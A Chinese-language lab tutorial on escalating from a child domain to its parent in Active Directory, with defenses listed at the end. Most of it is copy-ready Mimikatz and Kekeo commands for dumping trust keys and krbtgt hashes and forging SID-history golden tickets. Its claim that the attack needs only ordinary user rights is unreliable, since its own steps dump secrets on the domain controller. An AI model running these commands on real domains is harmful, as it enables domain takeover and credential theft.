跨域攻击分析和防御(中)
字数 1548 2025-08-19 12:42:32
跨域攻击分析与防御:利用域信任密钥和krbtgt哈希获取目标域权限
1. 实验环境搭建
1.1 域林信任环境配置
实验环境搭建了一个典型的域林内信任关系,具体配置如下:
- 父域域控:dc.test.com (Windows Server 2008 R2)
- 子域域控:subdc.test.com (Windows Server 2012 R2)
- 子域内计算机:pc.sub.test.com (Windows 7)
- 子域内普通用户:sub\test
2. 利用域信任密钥获取目标域权限
2.1 工具准备
需要下载以下两个关键工具:
2.2 信息收集阶段
在子域域控(subdc.test.com)上使用Mimikatz获取必要信息:
Mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test$" "lsadump::trust /patch" exit
执行结果包含三个关键信息:
- 当前域的SID
- 目标域的SID
- 域间信任密钥(可使用两种方法获取,任选其一即可)
2.3 创建伪造信任票证
使用Mimikatz创建伪造的信任票证:
Mimikatz "Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi" exit
参数说明:
domain:当前域名sid:当前域的SIDsids:目标域的SID-519(表示伪造用户属于目标域企业管理员组)rc4:信任密钥user:伪造的用户名service:需要访问的目标服务target:目标域名ticket:保存票据的文件名
2.4 获取目标服务TGS票据
使用Kekeo获取目标域中目标服务的TGS并保存:
Asktgs test.kirbi CIFS/DC.test.com
2.5 注入TGS票据到内存
将获取到的TGS票据注入到内存:
Kirbikator lsa CIFS.DC.test.com.kirbi
2.6 验证权限
验证是否成功获取目标域权限:
dir \\dc.test.com\C$
3. 利用krbtgt哈希获取目标域权限
3.1 获取域SID信息
使用PowerView获取当前域和目标域的SID:
常用获取域用户SID方法:
wmic useraccount get name,sidwhoami /useradfind.exe -sc u:test|findstr sid- PowerView工具
3.2 获取krbtgt哈希
在域控上使用Mimikatz获取krbtgt哈希(两种方法任选其一):
方法1:
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
方法2:
sekurlsa::krbtgt
3.3 构造并注入黄金票据
在子域内计算机(pc.sub.test.com)上使用普通用户权限构造黄金票据:
Mimikatz "Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt" exit
参数说明:
user:伪造的用户名domain:当前域名sid:当前域的SIDsids:目标域的SID-519(表示伪造用户属于目标域企业管理员组)krbtgt:krbtgt哈希ptt:将票据注入到内存中
3.4 验证权限
验证是否成功获取目标域权限:
dir \\dc.test.com\C$
4. 防御措施
- 监控异常Kerberos活动:检测异常的TGT/TGS请求和票据使用
- 保护krbtgt账户:定期更改krbtgt账户密码(至少每180天一次)
- 限制域信任关系:最小化域间信任关系,使用选择性认证
- 启用SID过滤:在信任关系中启用SID过滤防止SID历史攻击
- 监控特权账户活动:特别关注企业管理员组的活动
- 实施LSA保护:防止凭据转储
- 限制域控制器访问:严格控制对域控制器的物理和网络访问
- 启用高级审计策略:配置Kerberos服务票证操作审计
5. 关键点总结
- 域信任密钥和krbtgt哈希是跨域攻击的两个关键突破口
- SID历史(SID History)特性可被滥用来提升权限
- 攻击可在普通域用户权限下完成,不需要初始高权限
- 攻击链涉及信息收集、票据伪造、票据注入和权限验证四个阶段
- 整个攻击过程完全基于Kerberos协议特性,不依赖漏洞利用